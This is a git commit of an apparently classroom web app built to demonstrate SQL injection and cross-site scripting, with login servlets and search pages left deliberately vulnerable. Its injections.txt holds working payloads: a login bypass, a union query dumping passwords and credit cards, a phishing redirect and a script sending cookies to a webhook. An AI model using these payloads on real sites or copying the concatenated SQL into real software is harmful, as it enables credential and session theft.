Browse code Recent update master
1 parent 02f66ef commit 2ef9d7cde0b7d6d3ac95630f7529a62f3de71437 Mark George authored on 16 Aug 2021

Showing 14 changed files

• .gitignore
• build.gradle
• db/h2.sh
• db/users.h2.db
• gradle/wrapper/gradle-wrapper.jar
• gradle/wrapper/gradle-wrapper.properties
• gradlew
• gradlew.bat
• injections.txt
• src/main/java/dao/JdbcConnection.java
• src/main/java/servlets/AwesomeLoginServlet.java
• src/main/java/servlets/LoginServlet.java
• src/main/webapp/safe_searchresults.jsp
• src/main/webapp/searchresults.jsp

Ignore Space Show notes View .gitignore
/build/ /.nb-gradle/ .gradle .idea /build/ /.nb-gradle/

Ignore Space Show notes View build.gradle

plugins { id 'war' } repositories { mavenCentral() } dependencies { providedCompile 'javax.servlet:javax.servlet-api:3.1.0' implementation group: 'com.h2database', name: 'h2', version: '1.4.200' implementation group: 'org.owasp.antisamy', name: 'antisamy', version: '1.5.7' } sourceCompatibility = 1.8 targetCompatibility = 1.8 plugins { id 'war' } repositories { jcenter() } dependencies { providedCompile 'javax.servlet:javax.servlet-api:3.1.0' implementation group: 'com.h2database', name: 'h2', version: '1.4.197' implementation group: 'org.owasp.antisamy', name: 'antisamy', version: '1.5.7' } sourceCompatibility = 1.8 targetCompatibility = 1.8

Ignore Space Show notes View db/h2.sh
#!/bin/sh java -cp "../WEB-INF/lib/h2-1.4.200.jar" org.h2.tools.Console -ifExists -web -tcp -browser -user sa -url "jdbc:h2:./users;AUTO_SERVER=FALSE" #!/bin/sh java -cp "/path/to/h2.jar:$H2DRIVERS:$CLASSPATH" org.h2.tools.Console -ifExists -web -tcp -browser -user sa -url "jdbc:h2:./users"

Ignore Space Show notes View db/users.h2.db
Not supported

Ignore Space Show notes View gradle/wrapper/gradle-wrapper.jar 0 → 100644
Not supported

Ignore Space Show notes View gradle/wrapper/gradle-wrapper.properties 0 → 100644
distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists distributionUrl=https\://services.gradle.org/distributions/gradle-6.8-bin.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists

Ignore Space Show notes View gradlew 0 → 100755

#!/usr/bin/env sh # # Copyright 2015 the original author or authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ############################################################################## ## ## Gradle start up script for UN*X ## ############################################################################## # Attempt to set APP_HOME # Resolve links: $0 may be a link PRG="$0" # Need this for relative symlinks. while [ -h "$PRG" ] ; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG=`dirname "$PRG"`"/$link" fi done SAVED="`pwd`" cd "`dirname \"$PRG\"`/" >/dev/null APP_HOME="`pwd -P`" cd "$SAVED" >/dev/null APP_NAME="Gradle" APP_BASE_NAME=`basename "$0"` # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD="maximum" warn () { echo "$*" } die () { echo echo "$*" echo exit 1 } # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false nonstop=false case "`uname`" in CYGWIN* ) cygwin=true ;; Darwin* ) darwin=true ;; MINGW* ) msys=true ;; NONSTOP* ) nonstop=true ;; esac CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD="$JAVA_HOME/jre/sh/java" else JAVACMD="$JAVA_HOME/bin/java" fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD="java" which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then MAX_FD_LIMIT=`ulimit -H -n` if [ $? -eq 0 ] ; then if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then MAX_FD="$MAX_FD_LIMIT" fi ulimit -n $MAX_FD if [ $? -ne 0 ] ; then warn "Could not set maximum file descriptor limit: $MAX_FD" fi else warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" fi fi # For Darwin, add options to specify how the application appears in the dock if $darwin; then GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" fi # For Cygwin or MSYS, switch paths to Windows format before running java if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then APP_HOME=`cygpath --path --mixed "$APP_HOME"` CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` JAVACMD=`cygpath --unix "$JAVACMD"` # We build the pattern for arguments to be converted via cygpath ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` SEP="" for dir in $ROOTDIRSRAW ; do ROOTDIRS="$ROOTDIRS$SEP$dir" SEP="|" done OURCYGPATTERN="(^($ROOTDIRS))" # Add a user-defined pattern to the cygpath arguments if [ "$GRADLE_CYGPATTERN" != "" ] ; then OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" fi # Now convert the arguments - kludge to limit ourselves to /bin/sh i=0 for arg in "$@" ; do CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` else eval `echo args$i`="\"$arg\"" fi i=`expr $i + 1` done case $i in 0) set -- ;; 1) set -- "$args0" ;; 2) set -- "$args0" "$args1" ;; 3) set -- "$args0" "$args1" "$args2" ;; 4) set -- "$args0" "$args1" "$args2" "$args3" ;; 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; esac fi # Escape application args save () { for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done echo " " } APP_ARGS=`save "$@"` # Collect all arguments for the java command, following the shell quoting and substitution rules eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" exec "$JAVACMD" "$@"

Ignore Space Show notes View gradlew.bat 0 → 100644

@rem @rem Copyright 2015 the original author or authors. @rem @rem Licensed under the Apache License, Version 2.0 (the "License"); @rem you may not use this file except in compliance with the License. @rem You may obtain a copy of the License at @rem @rem https://www.apache.org/licenses/LICENSE-2.0 @rem @rem Unless required by applicable law or agreed to in writing, software @rem distributed under the License is distributed on an "AS IS" BASIS, @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem @if "%DEBUG%" == "" @echo off @rem ########################################################################## @rem @rem Gradle startup script for Windows @rem @rem ########################################################################## @rem Set local scope for the variables with windows NT shell if "%OS%"=="Windows_NT" setlocal set DIRNAME=%~dp0 if "%DIRNAME%" == "" set DIRNAME=. set APP_BASE_NAME=%~n0 set APP_HOME=%DIRNAME% @rem Resolve any "." and ".." in APP_HOME to make it shorter. for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" @rem Find java.exe if defined JAVA_HOME goto findJavaFromJavaHome set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if "%ERRORLEVEL%" == "0" goto execute echo. echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :findJavaFromJavaHome set JAVA_HOME=%JAVA_HOME:"=% set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute echo. echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :execute @rem Setup the command line set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar @rem Execute Gradle "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* :end @rem End local scope for the variables with windows NT shell if "%ERRORLEVEL%"=="0" goto mainEnd :fail rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of rem the _cmd.exe /c_ return code! if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 exit /b 1 :mainEnd if "%OS%"=="Windows_NT" endlocal :omega

Ignore Space Show notes View injections.txt

http://snafu.staff.uod.otago.ac.nz:8080/injection/ // basic injection ' or 1=1;-- // can we exfil data? ' union select 'WOOHOO'; -- // get entire users table ' union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name; -- // change color food<script>document.body.style.backgroundColor='#FF0000'</script> // change back button food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!-- // fake login <script>alert('Session timed out. Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script> // display cookies <script>alert(document.cookie)</script> // exfil cookies <script>window.location='https://webhook.site/c3300dea-ce9d-4860-879f-6320d4c24c43?'+document.cookie</script> // setting cookie via console document.cookie = "JSESSIONID=?" --disable-xss-auditor // wildcard expansion flaw (assumes default rm has prompt-per file turned on via alias) touch a b c d rm * should see that prompt is require per-file touch a b c d touch -- '-f' rm * should see that the prompt per-file is no longer needed demonstrate the expansion via the tab key http://snafu.staff.uod.otago.ac.nz:8080/injection/ // basic injection ' or 1=1;-- // can we exfil data? 'or 1=1 union select 'WOOHOO!' from users order by name desc; -- // get entire users table 'or 1=1 union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name order by name desc; -- // change color food<script>document.body.style.backgroundColor='#FF0000'</script> // change back button food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!-- // fake login <script>alert('Session timed out. Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script> // display cookies <script>alert(document.cookie)</script> // exfil cookies <script>window.location='https://webhook.site/c3300dea-ce9d-4860-879f-6320d4c24c43?'+document.cookie</script> // setting cookie via console document.cookie = "JSESSIONID=?" --disable-xss-auditor

Ignore Space Show notes View src/main/java/dao/JdbcConnection.java

package dao; import java.io.File; import java.sql.Connection; import java.sql.SQLException; import org.h2.jdbcx.JdbcConnectionPool; import javax.servlet.ServletContext; public class JdbcConnection { private static final String USERNAME = "sa"; private static final String PASSWORD = ""; private static JdbcConnectionPool pool; public static Connection getConnection(ServletContext ctx) { String path = ctx.getRealPath(File.separator); String uri = "jdbc:h2:file:"+path+"db/users;AUTO_SERVER=TRUE;IFEXISTS=true"; System.out.println(uri); if (pool == null) { pool = JdbcConnectionPool.create(uri, USERNAME, PASSWORD); } try { return pool.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } } } package dao; import java.sql.Connection; import java.sql.SQLException; import org.h2.jdbcx.JdbcConnectionPool; /** * * @author mark */ public class JdbcConnection { private static final String url = "jdbc:h2:tcp://localhost/~/work/projects/injection/db/users;IFEXISTS=TRUE"; private static final String username = "sa"; private static final String password = ""; private static final JdbcConnectionPool pool = JdbcConnectionPool.create(url, username, password); public static Connection getConnection() { try { return pool.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } } }

Ignore Space Show notes View src/main/java/servlets/AwesomeLoginServlet.java

/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package servlets; import dao.JdbcConnection; import java.io.IOException; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * * This servlet is used to demonstrate SQL injection attacks. * * * @author mark */ @WebServlet(name="AwesomeLoginServlet", urlPatterns = {"/awesomelogin"}) public class AwesomeLoginServlet extends HttpServlet { /** * Processes requests for both HTTP * <code>GET</code> and * <code>POST</code> methods. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); String username = request.getParameter("username"); String password = request.getParameter("password"); String sql = "select name from users where username = '" + username + "' and password = '" + password + "';"; System.out.println(sql); try ( Connection con = JdbcConnection.getConnection(getServletContext()); Statement s = con.createStatement(); ResultSet rs = s.executeQuery(sql); ) { if (rs.next()) { String result = rs.getString("name"); request.getSession().setAttribute("user", result); response.sendRedirect("welcome.jsp"); } else { response.sendRedirect("awesome_login.jsp?login=fail"); } } catch (SQLException ex) { Logger.getLogger(LoginServlet.class.getName()).log(Level.SEVERE, null, ex); } } // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code."> /** * Handles the HTTP * <code>GET</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Handles the HTTP <code>POST</code> method. * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Returns a short description of the servlet. * @return a String containing servlet description */ @Override public String getServletInfo() { return "Short description"; }// </editor-fold> } /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package servlets; import dao.JdbcConnection; import java.io.IOException; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * * This servlet is used to demonstrate SQL injection attacks. * * * @author mark */ @WebServlet(name="AwesomeLoginServlet", urlPatterns = {"/awesomelogin"}) public class AwesomeLoginServlet extends HttpServlet { /** * Processes requests for both HTTP * <code>GET</code> and * <code>POST</code> methods. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); String username = request.getParameter("username"); String password = request.getParameter("password"); String sql = "select name from users where username = '" + username + "' and password = '" + password + "';"; System.out.println(sql); try ( Connection con = JdbcConnection.getConnection(); Statement s = con.createStatement(); ResultSet rs = s.executeQuery(sql); ) { if (rs.next()) { String result = rs.getString("name"); request.getSession().setAttribute("user", result); response.sendRedirect("welcome.jsp"); } else { response.sendRedirect("awesome_login.jsp?login=fail"); } } catch (SQLException ex) { Logger.getLogger(LoginServlet.class.getName()).log(Level.SEVERE, null, ex); } } // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code."> /** * Handles the HTTP * <code>GET</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Handles the HTTP <code>POST</code> method. * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Returns a short description of the servlet. * @return a String containing servlet description */ @Override public String getServletInfo() { return "Short description"; }// </editor-fold> }

Ignore Space Show notes View src/main/java/servlets/LoginServlet.java

/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package servlets; import dao.JdbcConnection; import java.io.IOException; import java.io.PrintWriter; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * * This servlet is used to demonstrate SQL injection attacks. * * * @author mark */ @WebServlet(name = "LoginServlet", urlPatterns = {"/login"}) public class LoginServlet extends HttpServlet { /** * Processes requests for both HTTP <code>GET</code> and <code>POST</code> * methods. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); String username = request.getParameter("username"); String password = request.getParameter("password"); String sql = "select * from users where username = '" + username + "' and password = '" + password + "';"; try ( Connection con = JdbcConnection.getConnection(getServletContext()); Statement s = con.createStatement(); ResultSet rs = s.executeQuery(sql);) { if (rs.next()) { String uname = rs.getString("name"); out.println("<!DOCTYPE html>"); out.println("<html>"); out.println("<head>"); out.println("<link rel=\"stylesheet\" href=\"highlight.js/github.css\">"); out.println("<script src=\"highlight.js/highlight.pack.js\"></script>"); out.println("<script>hljs.initHighlightingOnLoad();</script>"); out.println("</head>"); out.println("<body>"); out.println("<h1 style=\"color: green;\">Hi " + uname + ". You have successfully logged in!</h1>"); out.println("<p>Code for generating query:</p>"); out.println("<pre><code class=\"java\">\"select * from users where username = '\" + username + \"' and password = '\" + password + \"';\"</code></pre>"); out.println("<p>Generated query was:</p>"); out.println("<pre><code class=\"sql\">" + sql + "</code></pre>"); out.println("<p>Query found a matching result.</p>"); out.println("<p><a href=\"index.jsp\">Back</a></p>"); out.println("</body></html>"); } else { out.println("<!DOCTYPE html>"); out.println("<html>"); out.println("<head>"); out.println("<link rel=\"stylesheet\" href=\"highlight.js/github.css\">"); out.println("<script src=\"highlight.js/highlight.pack.js\"></script>"); out.println("<script>hljs.initHighlightingOnLoad();</script>"); out.println("</head>"); out.println("<body>"); out.println("<h1 style=\"color: red;\">Log in failed!</h1>"); out.println("<p>Code for generating query:</p>"); out.println("<pre><code class=\"java\">\"select * from users where username = '\" + username + \"' and password = '\" + password + \"';\"</code></pre>"); out.println("<p>Generated query was:</p>"); out.println("<pre><code class=\"sql\">" + sql + "</code></pre>"); out.println("<p>Query found no results matching those details.</p>"); out.println("<p><a href=\"index.jsp\">Back</a></p>"); out.println("</body></html>"); } } catch (SQLException ex) { Logger.getLogger(LoginServlet.class.getName()).log(Level.SEVERE, null, ex); } } // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code."> /** * Handles the HTTP <code>GET</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Handles the HTTP <code>POST</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Returns a short description of the servlet. * * @return a String containing servlet description */ @Override public String getServletInfo() { return "Short description"; }// </editor-fold> } /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package servlets; import dao.JdbcConnection; import java.io.IOException; import java.io.PrintWriter; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * * This servlet is used to demonstrate SQL injection attacks. * * * @author mark */ @WebServlet(name = "LoginServlet", urlPatterns = {"/login"}) public class LoginServlet extends HttpServlet { /** * Processes requests for both HTTP <code>GET</code> and <code>POST</code> * methods. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); String username = request.getParameter("username"); String password = request.getParameter("password"); String sql = "select * from users where username = '" + username + "' and password = '" + password + "';"; try ( Connection con = JdbcConnection.getConnection(); Statement s = con.createStatement(); ResultSet rs = s.executeQuery(sql);) { if (rs.next()) { String uname = rs.getString("name"); out.println("<!DOCTYPE html>"); out.println("<html>"); out.println("<head>"); out.println("<link rel=\"stylesheet\" href=\"highlight.js/github.css\">"); out.println("<script src=\"highlight.js/highlight.pack.js\"></script>"); out.println("<script>hljs.initHighlightingOnLoad();</script>"); out.println("</head>"); out.println("<body>"); out.println("<h1 style=\"color: green;\">Hi " + uname + ". You have successfully logged in!</h1>"); out.println("<p>Code for generating query:</p>"); out.println("<pre><code class=\"java\">\"select * from users where username = '\" + username + \"' and password = '\" + password + \"';\"</code></pre>"); out.println("<p>Generated query was:</p>"); out.println("<pre><code class=\"sql\">" + sql + "</code></pre>"); out.println("<p>Query found a matching result.</p>"); out.println("<p><a href=\"index.jsp\">Back</a></p>"); out.println("</body></html>"); } else { out.println("<!DOCTYPE html>"); out.println("<html>"); out.println("<head>"); out.println("<link rel=\"stylesheet\" href=\"highlight.js/github.css\">"); out.println("<script src=\"highlight.js/highlight.pack.js\"></script>"); out.println("<script>hljs.initHighlightingOnLoad();</script>"); out.println("</head>"); out.println("<body>"); out.println("<h1 style=\"color: red;\">Log in failed!</h1>"); out.println("<p>Code for generating query:</p>"); out.println("<pre><code class=\"java\">\"select * from users where username = '\" + username + \"' and password = '\" + password + \"';\"</code></pre>"); out.println("<p>Generated query was:</p>"); out.println("<pre><code class=\"sql\">" + sql + "</code></pre>"); out.println("<p>Query found no results matching those details.</p>"); out.println("<p><a href=\"index.jsp\">Back</a></p>"); out.println("</body></html>"); } } catch (SQLException ex) { Logger.getLogger(LoginServlet.class.getName()).log(Level.SEVERE, null, ex); } } // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code."> /** * Handles the HTTP <code>GET</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Handles the HTTP <code>POST</code> method. * * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } /** * Returns a short description of the servlet. * * @return a String containing servlet description */ @Override public String getServletInfo() { return "Short description"; }// </editor-fold> }

Ignore Space Show notes View src/main/webapp/safe_searchresults.jsp

<%@page import="java.net.URL"%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="org.owasp.validator.html.*"%> <% /* Ths JSP is used to demonstrate XSS attacks */ String keywords = request.getParameter("keywords"); Policy policy = Policy.getInstance(getServletContext().getResource("/antisamy.xml")); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(keywords, policy, AntiSamy.SAX); keywords = cr.getCleanHTML(); %> <html> <head> <title>Awesome Web Site - Search Results</title> <link rel="stylesheet" type="text/css" href="css/style.css"/> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <h1>Search results</h1> Sorry, no results where found for '<%=keywords%>'. <br /> <a href='safe_search.jsp'>Back</a> </div> </body> </html> <%@page import="java.net.URL"%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="org.owasp.validator.html.*"%> <% /* Ths JSP is used to demonstrate XSS attacks */ String keywords = request.getParameter("keywords"); Policy policy = Policy.getInstance(getServletContext().getResource("/antisamy.xml")); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(keywords, policy, AntiSamy.SAX); keywords = cr.getCleanHTML(); %> <html> <head> <title>Awesome Web Site - Search Results</title> <link rel="stylesheet" type="text/css" href="css/style.css"/> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <h1>Search results</h1> You searched for <%=keywords%> <br /> <a href='safe_search.jsp'>Back</a> </div> </body> </html>

Ignore Space Show notes View src/main/webapp/searchresults.jsp

<%@page import="java.net.URL"%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <% /* Ths JSP is used to demonstrate XSS attacks */ String keywords = request.getParameter("keywords"); %> <html> <head> <title>Awesome Web Site - Search Results</title> <link rel="stylesheet" type="text/css" href="css/style.css"/> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <h1>Search results</h1> Sorry, no results were found for '<%=keywords%>'. Try again. <br /> <a href='search.jsp'>Back</a> </div> </body> </html> <%@page import="java.net.URL"%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <% /* Ths JSP is used to demonstrate XSS attacks */ String keywords = request.getParameter("keywords"); %> <html> <head> <title>Awesome Web Site - Search Results</title> <link rel="stylesheet" type="text/css" href="css/style.css"/> </head> <body> <div id="content"> <%@include file="/WEB-INF/jspf/menu.jspf" %> <h1>Search results</h1> You searched for <%=keywords%> <br /> <a href='search.jsp'>Back</a> </div> </body> </html>

Show line notes below